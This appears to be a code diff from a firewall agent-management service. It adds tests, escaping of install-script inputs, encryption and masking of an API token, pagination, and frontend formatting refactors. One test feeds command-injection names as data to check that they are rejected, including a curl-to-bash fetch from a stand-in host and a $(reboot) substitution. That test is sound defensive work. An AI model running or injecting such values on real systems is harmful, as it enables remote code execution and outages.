const created = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name, platform: 'linux' },
})
expect(created.statusCode).toBe(201)
return (created.json() as { agent_id: string }).agent_id
}
describe('bulk agent operations', () => {
const appPromise = buildApp({ memory: true, config: testConfig })
afterAll(async () => {
const app = await appPromise
await app.close()
})
it('approve-bulk approves invited agents in one request', async () => {
const app = await appPromise
await app.ready()
const a1 = await createInvitedAgent(app, 'bulk-01')
const a2 = await createInvitedAgent(app, 'bulk-02')
const a3 = await createInvitedAgent(app, 'bulk-03')
const bulk = await app.inject({
method: 'POST',
url: '/api/v1/agents/approve-bulk',
payload: { agent_ids: [a1, a2, a3] },
})
expect(bulk.statusCode).toBe(200)
const body = bulk.json() as { items: { id: string; status: string }[] }
expect(body.items.map((i) => i.id).sort()).toEqual([a1, a2, a3].sort())
expect(body.items.every((i) => i.status === 'approved')).toBe(true)
// shared default set assigned on approve
for (const id of [a1, a2, a3]) {
const sets = await app.inject({
method: 'GET',
url: `/api/v1/agents/${id}/policy-sets`,
})
const items = (sets.json() as { items: { set_id: string }[] }).items
expect(items.some((s) => s.set_id === 'set-shared-default')).toBe(true)
}
// repeated bulk is a no-op (already approved)
const again = await app.inject({
method: 'POST',
url: '/api/v1/agents/approve-bulk',
payload: { agent_ids: [a1] },
})
expect(again.statusCode).toBe(200)
expect((again.json() as { items: unknown[] }).items).toEqual([])
})
it('PUT /policy-sets/:id/agents replaces assignment of the set', async () => {
const app = await appPromise
await app.ready()
const a1 = await createInvitedAgent(app, 'assign-01')
const a2 = await createInvitedAgent(app, 'assign-02')
await app.inject({
method: 'POST',
url: '/api/v1/agents/approve-bulk',
payload: { agent_ids: [a1, a2] },
})
const created = await app.inject({
method: 'POST',
url: '/api/v1/policy-sets',
payload: { name: 'bulk-assign-set' },
})
const setId = (created.json() as { id: string }).id
// assign both
const put = await app.inject({
method: 'PUT',
url: `/api/v1/policy-sets/${setId}/agents`,
payload: { agent_ids: [a1, a2] },
})
expect(put.statusCode).toBe(200)
expect((put.json() as { added: string[] }).added.sort()).toEqual(
[a1, a2].sort(),
)
// a1 keeps set when a2 removed; shared default preserved for both
const drop = await app.inject({
method: 'PUT',
url: `/api/v1/policy-sets/${setId}/agents`,
payload: { agent_ids: [a1] },
})
expect(drop.statusCode).toBe(200)
const dropBody = drop.json() as {
agent_ids: string[]
removed: string[]
}
expect(dropBody.agent_ids).toEqual([a1])
expect(dropBody.removed).toEqual([a2])
const setsA1 = (
(await app.inject({ method: 'GET', url: `/api/v1/agents/${a1}/policy-sets` }))
.json() as { items: { set_id: string }[] }
).items.map((s) => s.set_id)
const setsA2 = (
(await app.inject({ method: 'GET', url: `/api/v1/agents/${a2}/policy-sets` }))
.json() as { items: { set_id: string }[] }
).items.map((s) => s.set_id)
expect(setsA1).toContain(setId)
expect(setsA2).not.toContain(setId)
expect(setsA2).toContain('set-shared-default')
// empty array clears the whole assignment
const clear = await app.inject({
method: 'PUT',
url: `/api/v1/policy-sets/${setId}/agents`,
payload: { agent_ids: [] },
})
expect(clear.statusCode).toBe(200)
expect((clear.json() as { agent_ids: string[] }).agent_ids).toEqual([])
// unknown agent → 404, and nothing changed
const bad = await app.inject({
method: 'PUT',
url: `/api/v1/policy-sets/${setId}/agents`,
payload: { agent_ids: ['no-such-agent'] },
})
expect(bad.statusCode).toBe(404)
})
})
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
}
describe('install-links', () => {
@@ -112,6 +116,55 @@ describe('install-links', () => {
expect(row?.status).toBe('pending')
})
it('rejects install link names with unsafe characters', async () => {
const app = await appPromise
await app.ready()
const bad = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: 'web\n; curl evil.sh | bash', platform: 'linux' },
})
expect(bad.statusCode).toBe(400)
const quotes = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: "name'$(reboot)", platform: 'linux' },
})
expect(quotes.statusCode).toBe(400)
})
it('masks per-list api_token in list responses', async () => {
const app = await appPromise
await app.ready()
const created = await app.inject({
method: 'POST',
url: '/api/v1/lists',
payload: {
name: 'evobgp-masked',
type: 'evobgp_community',
config: {
api_url: 'https://bgp.example.com',
api_token: 'super-secret-token',
community_id: '',
},
},
})
expect(created.statusCode).toBe(200)
const body = created.json() as { config_json: string }
expect(body.config_json).not.toContain('super-secret-token')
expect(body.config_json).toContain('********')
const lists = await app.inject({ method: 'GET', url: '/api/v1/lists' })
const items = (lists.json() as { items: { config_json: string }[] }).items
expect(
items.some((l) => l.config_json.includes('super-secret-token')),
).toBe(false)
expect(items.some((l) => l.config_json.includes('********'))).toBe(true)
})
it('mikrotik install link serves RSC and fetch/import one-liner', async () => {
const app = await appPromise
await app.ready()
+13 -3
View File
@@ -105,8 +105,18 @@ function loadMikrotikInstallRsc(): string {
return readFileSync(join(scriptsDir, 'mikrotik-install.rsc'), 'utf-8')
}
/** Strip control characters that have no business inside generated scripts. */
function stripControlChars(s: string): string {
// eslint-disable-next-line no-control-regex
return s.replace(/[\x00-\x1f\x7f]/g, '')
}
function escapeRosString(s: string): string {
return s.replace(/\\/g, '\\\\').replace(/"/g, '\\"')
// RouterOS interpolates $var and substitutes $(cmd) inside double quotes.
return stripControlChars(s)
.replace(/\\/g, '\\\\')
.replace(/"/g, '\\"')
.replace(/\$/g, '\\$')
}
/**
@@ -119,8 +129,8 @@ export function renderInstallScript(opts: {
platform: string
installLinkId: string
}): string {
const cp = opts.cpUrl.replace(/\/$/, '')
const escape = (s: string) => s.replace(/'/g, `'\\''`)
const cp = stripControlChars(opts.cpUrl.replace(/\/$/, ''))
const escape = (s: string) => stripControlChars(s).replace(/'/g, `'\\''`)
const header = [
'#!/usr/bin/env bash',
'# EvoFirewall short install link — env pre-set',
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
}
async function enrollApprovedLinux(
+2 -1
View File
@@ -12,6 +12,7 @@ import {
} from '@evofw/shared'
import { resolveHostnameToCidrs } from '../policy/resolve-hostname.js'
import { uniqCidrs } from '../uniq.js'
import { maskListConfig } from '../secret-cipher.js'
export function getListConfig(list: {
configJson: string
@@ -324,7 +325,7 @@ export function mapListDetail(db: Db, listId: string) {
id: l.id,
name: l.name,
type: l.type,
config_json: l.configJson,
config_json: maskListConfig(l.configJson),
content_hash: l.contentHash,
refreshed_at: l.refreshedAt,
last_error: l.lastError,
+6 -3
View File
@@ -8,6 +8,7 @@ import {
rebuildManualListEntries,
} from './entries.js'
import { uniqCidrs } from '../uniq.js'
import { decryptSecret } from '../secret-cipher.js'
function hashCidrs(cidrs: string[]): string {
return `sha256:${createHash('sha256').update(cidrs.join('\n')).digest('hex')}`
@@ -139,10 +140,12 @@ export async function refreshIpList(db: Db, listId: string): Promise<void> {
repos.replaceIpListEntries(db, listId, cidrs)
} else if (list.type === 'evobgp_community') {
const apiUrl =
String(config.api_url ?? '') || repos.getSetting(db, 'evobgp_api_url')
String(config.api_url ?? '') ||
repos.getSetting(db, 'evobgp_api_url') ||
''
const token =
String(config.api_token ?? '') ||
repos.getSetting(db, 'evobgp_api_token')
decryptSecret(String(config.api_token ?? '') || null) ??
decryptSecret(repos.getSetting(db, 'evobgp_api_token'))
const communityId = String(config.community_id ?? '')
if (!apiUrl || !token || !communityId) {
throw new Error('evobgp_api_url, token and community_id required')
+22
View File
@@ -0,0 +1,22 @@
/**
* Backwards-compatible list pagination: without limit/offset the response is
* the full list (total === items.length); with them, a page plus the total.
*/
export function applyPagination<T>(
items: T[],
query: { limit?: string; offset?: string },
): { items: T[]; total: number } {
const total = items.length
const limitRaw = query.limit !== undefined ? Number(query.limit) : NaN
const offsetRaw = query.offset !== undefined ? Number(query.offset) : NaN
if (!Number.isFinite(limitRaw) && !Number.isFinite(offsetRaw)) {
return { items, total }
}
const limit = Number.isFinite(limitRaw)
? Math.max(1, Math.min(1000, Math.floor(limitRaw)))
: items.length
const offset = Number.isFinite(offsetRaw)
? Math.max(0, Math.floor(offsetRaw))
: 0
return { items: items.slice(offset, offset + limit), total }
}
+51 -16
View File
@@ -54,13 +54,41 @@ export type EvaluatedPolicy = {
}
}
function expandList(db: Db, listId: string | null | undefined): string[] {
if (!listId) return []
return repos.listIpListEntries(db, listId).map((e) => e.cidr)
/**
* Prefetched expansion data: one batched query per kind instead of a query
* per rule (this code runs on every agent policy poll, ~60s per agent).
*/
type ExpansionContext = {
entriesByList: Map<string, string[]>
resolvedByRule: Map<string, string[]>
listNames: Map<string, string>
}
function buildExpansionContext(
db: Db,
rules: { id: string; listId: string | null; hostname: string | null }[],
portRuleRows: { listId: string | null }[],
): ExpansionContext {
const listIds = [
...new Set(
[
...rules.map((r) => r.listId?.trim() || ''),
...portRuleRows.map((r) => r.listId?.trim() || ''),
].filter(Boolean),
),
]
const hostnameRuleIds = [
...new Set(rules.filter((r) => r.hostname?.trim()).map((r) => r.id)),
]
return {
entriesByList: repos.mapIpListEntriesByListIds(db, listIds),
resolvedByRule: repos.mapResolvedCidrsByRuleIds(db, hostnameRuleIds),
listNames: repos.mapIpListNames(db, listIds),
}
}
function expandRule(
db: Db,
ctx: ExpansionContext,
rule: {
cidr: string | null
listId: string | null
@@ -70,9 +98,10 @@ function expandRule(
): string[] {
if (rule.cidr?.trim()) return [rule.cidr.trim()]
if (rule.hostname?.trim()) {
return repos.listResolvedForRule(db, rule.id).map((r) => r.cidr)
return ctx.resolvedByRule.get(rule.id) ?? []
}
return expandList(db, rule.listId)
const listId = rule.listId?.trim() || ''
return listId ? (ctx.entriesByList.get(listId) ?? []) : []
}
function resolveDefaultAction(agentDefaultAction: string | null | undefined): DefaultAction {
@@ -83,7 +112,7 @@ function resolveDefaultAction(agentDefaultAction: string | null | undefined): De
}
function sourceMeta(
db: Db,
ctx: ExpansionContext,
rule: {
cidr: string | null
listId: string | null
@@ -97,12 +126,12 @@ function sourceMeta(
return { kind: 'hostname', label: rule.hostname.trim() }
}
const listId = rule.listId?.trim() || ''
const name = listId ? repos.getIpList(db, listId)?.name : null
const name = listId ? ctx.listNames.get(listId) : null
return { kind: 'list', label: name || listId || 'list' }
}
function expandPortSrcCidrs(
db: Db,
ctx: ExpansionContext,
row: {
srcKind: string
srcCidr: string | null
@@ -114,18 +143,22 @@ function expandPortSrcCidrs(
return [row.srcCidr.trim()]
}
if (row.srcKind === 'list') {
const cidrs = expandList(db, row.listId)
const cidrs = row.listId
? (ctx.entriesByList.get(row.listId.trim()) ?? [])
: []
return cidrs.length ? uniqCidrs(cidrs) : []
}
return []
}
function expandPortRules(db: Db, agentId: string): EvaluatedPortRule[] {
const rows = repos.listEnabledAgentPortRules(db, agentId)
function expandPortRules(
ctx: ExpansionContext,
rows: ReturnType<typeof repos.listEnabledAgentPortRules>,
): EvaluatedPortRule[] {
const out: EvaluatedPortRule[] = []
for (const row of rows) {
const action = row.action === 'close' ? 'close' : 'open'
const srcCidrs = expandPortSrcCidrs(db, row)
const srcCidrs = expandPortSrcCidrs(ctx, row)
if (!srcCidrs.length) continue
const portStart = Math.max(1, Math.min(65535, row.portStart))
const portEnd = Math.max(portStart, Math.min(65535, row.portEnd))
@@ -161,6 +194,8 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
.filter((s) => s.enabled === 1)
const ordered = repos.listPolicyRulesForAgent(db, agentId)
const overrides = repos.listOverrides(db, agentId)
const portRuleRows = repos.listEnabledAgentPortRules(db, agentId)
const ctx = buildExpansionContext(db, ordered, portRuleRows)
const deny: string[] = []
const allow: string[] = []
@@ -169,7 +204,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
let rulesAllow = 0
for (const rule of ordered) {
const cidrs = expandRule(db, rule)
const cidrs = expandRule(ctx, rule)
const action = rule.action === 'deny' ? 'deny' : 'allow'
if (action === 'deny') {
deny.push(...cidrs)
@@ -178,7 +213,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
allow.push(...cidrs)
rulesAllow += 1
}
const src = sourceMeta(db, rule)
const src = sourceMeta(ctx, rule)
const setName =
assignedSets.find((s) => s.setId === rule.setId)?.name ?? null
chain.push({
@@ -214,7 +249,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
const conflictsDropped = allowRaw.length - allowCidrs.length
const defaultAction = resolveDefaultAction(agent.defaultAction)
const policyMode = legacyModeFromDefaultAction(defaultAction)
const portRules = expandPortRules(db, agentId)
const portRules = expandPortRules(ctx, portRuleRows)
const payload = JSON.stringify({
apply_version: POLICY_APPLY_VERSION,
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
}
async function createAgent(
+4
View File
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
}
async function enrollApprovedLinux(
@@ -0,0 +1,102 @@
import { describe, it, expect, afterAll } from 'vitest'
import { buildApp } from '../app.js'
import { repos } from '@evofw/db'
import type { AppConfig } from '../config.js'
const testConfig: AppConfig = {
databaseUrl: 'sqlite::memory:',
jwtSecret: 'test',
jwtTtlHours: 24,
serverPort: 8080,
staticDir: null,
logLevel: 'error',
authRequired: false,
authIssuer: 'https://auth.test',
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
}
describe('stats retention + list pagination', () => {
const appPromise = buildApp({ memory: true, config: testConfig })
afterAll(async () => {
const app = await appPromise
await app.close()
})
it('deleteStatsSamplesBefore drops only old samples', async () => {
const app = await appPromise
await app.ready()
const created = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: 'retention-agent', platform: 'linux' },
})
const agentId = (created.json() as { agent_id: string }).agent_id
const iso = (daysAgo: number) =>
new Date(Date.now() - daysAgo * 86_400_000).toISOString()
for (const daysAgo of [60, 45, 10, 0]) {
repos.insertStatsSample(app.db, {
id: crypto.randomUUID(),
agentId,
packetsDropped: daysAgo,
packetsAccepted: 0,
prefixCount: 0,
kernelMethod: null,
recordedAt: iso(daysAgo),
})
}
const cutoff = new Date(Date.now() - 30 * 86_400_000).toISOString()
const deleted = repos.deleteStatsSamplesBefore(app.db, cutoff)
expect(deleted).toBe(2)
const remaining = repos.listStatsSamples(app.db, agentId, 100)
expect(remaining.map((s) => s.packetsDropped).sort()).toEqual([0, 10])
})
it('list endpoints return total and honor limit/offset', async () => {
const app = await appPromise
await app.ready()
for (const name of ['page-a', 'page-b', 'page-c']) {
await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name, platform: 'linux' },
})
}
await app.inject({
method: 'POST',
url: '/api/v1/lists',
payload: { name: 'page-list', type: 'static' },
})
const all = await app.inject({ method: 'GET', url: '/api/v1/agents' })
expect(all.statusCode).toBe(200)
const allBody = all.json() as { items: unknown[]; total: number }
expect(allBody.items.length).toBe(allBody.total)
const page = await app.inject({
method: 'GET',
url: '/api/v1/agents?limit=1&offset=1',
})
const pageBody = page.json() as { items: unknown[]; total: number }
expect(pageBody.items).toHaveLength(1)
expect(pageBody.total).toBe(allBody.total)
const lists = await app.inject({
method: 'GET',
url: '/api/v1/lists?limit=1',
})
const listsBody = lists.json() as { items: unknown[]; total: number }
expect(listsBody.items).toHaveLength(1)
expect(listsBody.total).toBeGreaterThanOrEqual(1)
})
})
+30 -3
View File
@@ -67,6 +67,21 @@ export function mapPolicySets(
export function mapPolicyRule(
r: NonNullable<ReturnType<typeof repos.getPolicyRule>>,
db: Parameters<typeof repos.listResolvedForRule>[0],
) {
return mapPolicyRuleWithCounts(r, r.hostname ? countResolved(db, [r.id]).get(r.id) ?? 0 : undefined)
}
function countResolved(
db: Parameters<typeof repos.listResolvedForRule>[0],
ruleIds: string[],
): Map<string, number> {
const cidrs = repos.mapResolvedCidrsByRuleIds(db, ruleIds)
return new Map([...cidrs].map(([id, list]) => [id, list.length]))
}
function mapPolicyRuleWithCounts(
r: NonNullable<ReturnType<typeof repos.getPolicyRule>>,
resolvedCount: number | undefined,
) {
return {
id: r.id,
@@ -77,11 +92,23 @@ export function mapPolicyRule(
list_id: r.listId,
cidr: r.cidr,
hostname: r.hostname,
resolved_count: r.hostname
? repos.listResolvedForRule(db, r.id).length
: undefined,
resolved_count: resolvedCount,
comment: r.comment,
created_at: r.createdAt,
updated_at: r.updatedAt,
}
}
/** Batched variant for list endpoints: one resolved-counts query for all rules. */
export function mapPolicyRules(
rules: NonNullable<ReturnType<typeof repos.getPolicyRule>>[],
db: Parameters<typeof repos.listResolvedForRule>[0],
) {
const counts = countResolved(
db,
rules.filter((r) => r.hostname).map((r) => r.id),
)
return rules.map((r) =>
mapPolicyRuleWithCounts(r, r.hostname ? counts.get(r.id) ?? 0 : undefined),
)
}
@@ -0,0 +1,64 @@
import { describe, it, expect, afterEach } from 'vitest'
import {
encryptSecret,
decryptSecret,
isEncryptedSecret,
sealListConfig,
maskListConfig,
} from './secret-cipher.js'
const ORIGINAL_KEY = process.env.EVOFW_SECRET_KEY
afterEach(() => {
if (ORIGINAL_KEY === undefined) delete process.env.EVOFW_SECRET_KEY
else process.env.EVOFW_SECRET_KEY = ORIGINAL_KEY
})
describe('secret-cipher', () => {
it('passes values through when no key is configured', () => {
delete process.env.EVOFW_SECRET_KEY
expect(encryptSecret('plain')).toBe('plain')
expect(decryptSecret('plain')).toBe('plain')
expect(isEncryptedSecret('plain')).toBe(false)
})
it('encrypts and decrypts when EVOFW_SECRET_KEY is set', () => {
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
const enc = encryptSecret('super-secret-token')
expect(enc).not.toContain('super-secret-token')
expect(enc.startsWith('enc:v1:')).toBe(true)
expect(decryptSecret(enc)).toBe('super-secret-token')
// already-encrypted values are not double-encrypted
expect(encryptSecret(enc)).toBe(enc)
})
it('returns null for encrypted values when the key is missing or wrong', () => {
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
const enc = encryptSecret('super-secret-token')
delete process.env.EVOFW_SECRET_KEY
expect(decryptSecret(enc)).toBeNull()
process.env.EVOFW_SECRET_KEY = 'other-key-other-key-other-key!'
expect(decryptSecret(enc)).toBeNull()
})
it('seals and masks list config api_token', () => {
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
const sealed = sealListConfig({
api_url: 'https://bgp.example.com',
api_token: 'super-secret-token',
community_id: 'abc',
})
expect(sealed).not.toContain('super-secret-token')
const parsed = JSON.parse(sealed) as { api_token: string }
expect(decryptSecret(parsed.api_token)).toBe('super-secret-token')
const masked = maskListConfig(sealed)
expect(masked).toContain('********')
expect(masked).not.toContain('enc:v1:')
// configs without tokens pass through untouched
expect(maskListConfig('{"api_url":"https://x"}')).toBe(
'{"api_url":"https://x"}',
)
})
})
+86
View File
@@ -0,0 +1,86 @@
import {
createCipheriv,
createDecipheriv,
randomBytes,
scryptSync,
} from 'node:crypto'
/**
* Optional at-rest encryption for secrets stored in the DB (EvoBGP API
* token). Active only when EVOFW_SECRET_KEY is set; without it values are
* stored as before (plaintext) so existing deployments keep working.
*
* Format: enc:v1:<saltB64>:<ivB64>:<tagB64>:<dataB64>, AES-256-GCM with a
* scrypt-derived per-value key.
*/
const PREFIX = 'enc:v1:'
function deriveKey(secret: string, salt: Buffer): Buffer {
return scryptSync(secret, salt, 32)
}
export function isEncryptedSecret(value: string): boolean {
return value.startsWith(PREFIX)
}
export function encryptSecret(value: string): string {
const secret = process.env.EVOFW_SECRET_KEY?.trim()
if (!secret || !value || isEncryptedSecret(value)) return value
const salt = randomBytes(16)
const iv = randomBytes(12)
const cipher = createCipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
const data = Buffer.concat([cipher.update(value, 'utf8'), cipher.final()])
const tag = cipher.getAuthTag()
const payload = [salt, iv, tag, data]
.map((b) => b.toString('base64'))
.join(':')
return `${PREFIX}${payload}`
}
/**
* Decrypt an encrypted secret; returns plaintext secrets untouched. Returns
* null for encrypted values that cannot be decrypted (key missing/rotated)
* so callers can treat the secret as unset instead of sending garbage.
*/
export function decryptSecret(value: string | null | undefined): string | null {
if (!value) return null
if (!isEncryptedSecret(value)) return value
const secret = process.env.EVOFW_SECRET_KEY?.trim()
if (!secret) return null
const parts = value.split(':')
if (parts.length !== 6) return null
try {
const salt = Buffer.from(parts[2]!, 'base64')
const iv = Buffer.from(parts[3]!, 'base64')
const tag = Buffer.from(parts[4]!, 'base64')
const data = Buffer.from(parts[5]!, 'base64')
const decipher = createDecipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
decipher.setAuthTag(tag)
return Buffer.concat([decipher.update(data), decipher.final()]).toString('utf8')
} catch {
return null
}
}
/** Encrypt secrets inside a list config before persisting it. */
export function sealListConfig(config: Record<string, unknown>): string {
if (typeof config.api_token === 'string' && config.api_token) {
config = { ...config, api_token: encryptSecret(config.api_token) }
}
return JSON.stringify(config)
}
/** Mask secrets inside a list config before returning it to clients. */
export function maskListConfig(configJson: string): string {
if (!configJson.includes('api_token')) return configJson
try {
const config = JSON.parse(configJson) as Record<string, unknown>
if (typeof config.api_token === 'string' && config.api_token) {
config.api_token = '********'
}
return JSON.stringify(config)
} catch {
return configJson
}
}
@@ -15,6 +15,10 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
}
describe('settings + bumpAgentsForList', () => {
View File
Whitespace-only changes.
+1
View File
@@ -7,6 +7,7 @@
"dev": "vite",
"build": "vite build",
"typecheck": "tsc --noEmit",
"test": "vitest run",
"preview": "vite preview"
},
"dependencies": {
@@ -19,6 +19,7 @@ import { DataGridTable } from '@/components/reui/data-grid/data-grid-table'
import { EmptyState } from '@/components/empty-state'
import { agentBlockedIpsQueryOptions } from '@/queries'
import { Skeleton } from '@evofw/ui/components/skeleton'
import { formatNumber, formatStampDateTime } from '@/lib/format'
/**
* Per-IP blocked stats — Linux nft/ipset counters or MikroTik EVOFW_HITS.
@@ -45,21 +46,6 @@ type AgentBlockedIpsProps = {
platform: string
}
const packetFmt = new Intl.NumberFormat('ru-RU')
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
day: '2-digit',
month: '2-digit',
year: 'numeric',
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
})
function formatSeen(iso: string): string {
const t = Date.parse(iso)
if (Number.isNaN(t)) return '—'
return seenFmt.format(t)
}
function formatPorts(ports: BlockedIpPort[] | undefined): string {
if (!ports?.length) return '—'
@@ -99,7 +85,7 @@ export function AgentBlockedIps({ agentId, platform }: AgentBlockedIpsProps) {
),
cell: ({ row }) => (
<span className="tabular-nums">
{packetFmt.format(row.original.packets)}
{formatNumber(row.original.packets)}
</span>
),
meta: { headerTitle: packetsTitle },
@@ -128,7 +114,7 @@ export function AgentBlockedIps({ agentId, platform }: AgentBlockedIpsProps) {
),
cell: ({ row }) => (
<span className="text-muted-foreground text-xs tabular-nums">
{formatSeen(row.original.last_seen_at)}
{formatStampDateTime(row.original.last_seen_at)}
</span>
),
meta: { headerTitle: 'Last seen' },
@@ -19,6 +19,7 @@ import { DataGridTable } from '@/components/reui/data-grid/data-grid-table'
import { EmptyState } from '@/components/empty-state'
import { agentBlockedPortsQueryOptions } from '@/queries'
import { Skeleton } from '@evofw/ui/components/skeleton'
import { formatNumber, formatStampDateTime } from '@/lib/format'
/**
* Aggregate destination ports hit by denied sources (Linux nft).
@@ -37,21 +38,6 @@ type AgentBlockedPortsProps = {
agentId: string
}
const packetFmt = new Intl.NumberFormat('ru-RU')
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
day: '2-digit',
month: '2-digit',
year: 'numeric',
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
})
function formatSeen(iso: string): string {
const t = Date.parse(iso)
if (Number.isNaN(t)) return '—'
return seenFmt.format(t)
}
export function AgentBlockedPorts({ agentId }: AgentBlockedPortsProps) {
const q = useQuery(agentBlockedPortsQueryOptions(agentId))
@@ -92,7 +78,7 @@ export function AgentBlockedPorts({ agentId }: AgentBlockedPortsProps) {
),
cell: ({ row }) => (
<span className="tabular-nums">
{packetFmt.format(row.original.packets)}
{formatNumber(row.original.packets)}
</span>
),
meta: { headerTitle: 'Packets' },
@@ -105,7 +91,7 @@ export function AgentBlockedPorts({ agentId }: AgentBlockedPortsProps) {
),
cell: ({ row }) => (
<span className="text-muted-foreground text-xs tabular-nums">
{formatSeen(row.original.last_seen_at)}
{formatStampDateTime(row.original.last_seen_at)}
</span>
),
meta: { headerTitle: 'Last seen' },
+4 -27
View File
@@ -21,36 +21,13 @@ import {
} from '@evofw/ui/components/item'
import { Separator } from '@evofw/ui/components/separator'
import { cn } from '@evofw/ui/lib/utils'
import { formatPackets, formatShortDateTime } from '@/lib/format'
/**
* Agent catalog card — hybrid card-3 header + stats strip + stats-12 values.
* Preview: https://reui.io/preview/base/card-3 · https://reui.io/preview/base/stats-12
*/
const packetFmt = new Intl.NumberFormat('ru-RU', {
notation: 'compact',
maximumFractionDigits: 1,
})
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
day: '2-digit',
month: '2-digit',
hour: '2-digit',
minute: '2-digit',
})
function formatPackets(n: number | undefined, hasApply: boolean): string {
if (!hasApply || n === undefined) return '—'
return packetFmt.format(n)
}
function formatShort(iso: string | null | undefined): string {
if (!iso) return '—'
const t = Date.parse(iso)
if (Number.isNaN(t)) return '—'
return seenFmt.format(t)
}
type AgentCardProps = {
agent: Agent
selected?: boolean
@@ -65,13 +42,13 @@ export function AgentCard({
onDelete,
}: AgentCardProps) {
const hasApply = agentHasTrafficSample(agent)
const dropped = formatPackets(agentTrafficDropped(agent), hasApply)
const accepted = formatPackets(agentTrafficAccepted(agent), hasApply)
const dropped = hasApply ? formatPackets(agentTrafficDropped(agent)) : '—'
const accepted = hasApply ? formatPackets(agentTrafficAccepted(agent)) : '—'
const traffic =
dropped === '—' && accepted === '—'
? '—'
: `↓${dropped} · ↑${accepted}`
const seen = formatShort(agent.last_seen_at ?? agent.last_apply_at)
const seen = formatShortDateTime(agent.last_seen_at ?? agent.last_apply_at)
const defaultAction =
agent.default_action === 'drop' ? 'Drop' : 'Accept'
const subtitle = [
@@ -18,6 +18,7 @@ import {
SelectValue,
} from '@evofw/ui/components/select'
import { Separator } from '@evofw/ui/components/separator'
import { formatDateTime } from '@/lib/format'
/**
* Agent facts panel — SA3 RunFacts DNA (editable default_action).
@@ -31,9 +32,7 @@ type AgentFactsPanelProps = {
function formatWhen(iso?: string | null): string {
if (!iso) return '—'
const d = new Date(iso)
if (Number.isNaN(d.getTime())) return iso
return d.toLocaleString('ru-RU')
return formatDateTime(iso)
}
export function AgentFactsPanel({ agent }: AgentFactsPanelProps) {
@@ -26,6 +26,7 @@ import {
TooltipContent,
TooltipTrigger,
} from '@evofw/ui/components/tooltip'
import { formatPackets, formatShortDateTime } from '@/lib/format'
/**
* Fleet triage DataGrid — firewall ops density.
@@ -34,30 +35,6 @@ import {
* · https://reui.io/preview/base/solution-agents-1
*/
const packetFmt = new Intl.NumberFormat('ru-RU', {
notation: 'compact',
maximumFractionDigits: 1,
})
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
day: '2-digit',
month: '2-digit',
hour: '2-digit',
minute: '2-digit',
})
function formatPackets(n: number | undefined, hasApply: boolean): string {
if (!hasApply || n === undefined) return '—'
return packetFmt.format(n)
}
function formatAgentSeen(iso: string | null | undefined): string {
if (!iso) return '—'
const t = Date.parse(iso)
if (Number.isNaN(t)) return '—'
return seenFmt.format(t)
}
export type AgentFleetDataGridProps = {
data: Agent[]
filterFields: FilterFieldConfig[]
@@ -231,8 +208,8 @@ export function AgentFleetDataGrid({
cell: ({ row }) => {
const a = row.original
const hasApply = agentHasTrafficSample(a)
const dropped = formatPackets(agentTrafficDropped(a), hasApply)
const accepted = formatPackets(agentTrafficAccepted(a), hasApply)
const dropped = hasApply ? formatPackets(agentTrafficDropped(a)) : '—'
const accepted = hasApply ? formatPackets(agentTrafficAccepted(a)) : '—'
if (dropped === '—' && accepted === '—') {
return <DataGridMutedCell>—</DataGridMutedCell>
}
@@ -255,7 +232,7 @@ export function AgentFleetDataGrid({
),
cell: ({ row }) => {
const a = row.original
const short = formatAgentSeen(a.last_seen_at)
const short = formatShortDateTime(a.last_seen_at)
if (!a.last_seen_at || short === '—') {
return <DataGridMutedCell>—</DataGridMutedCell>
}
@@ -33,6 +33,7 @@ import {
SelectValue,
} from '@evofw/ui/components/select'
import { TabsContent } from '@evofw/ui/components/tabs'
import { formatDateTime } from '@/lib/format'
/**
* Observed host firewall + listeners (Linux).
@@ -229,7 +230,7 @@ export function AgentHostFirewall({ agentId }: AgentHostFirewallProps) {
<FrameDescription>
Снимок nft/iptables/ufw/firewalld + listeners. EvoFW vs foreign.
{q.data?.collected_at
? ` Обновлено: ${new Date(q.data.collected_at).toLocaleString('ru-RU')}`
? ` Обновлено: ${formatDateTime(q.data.collected_at)}`
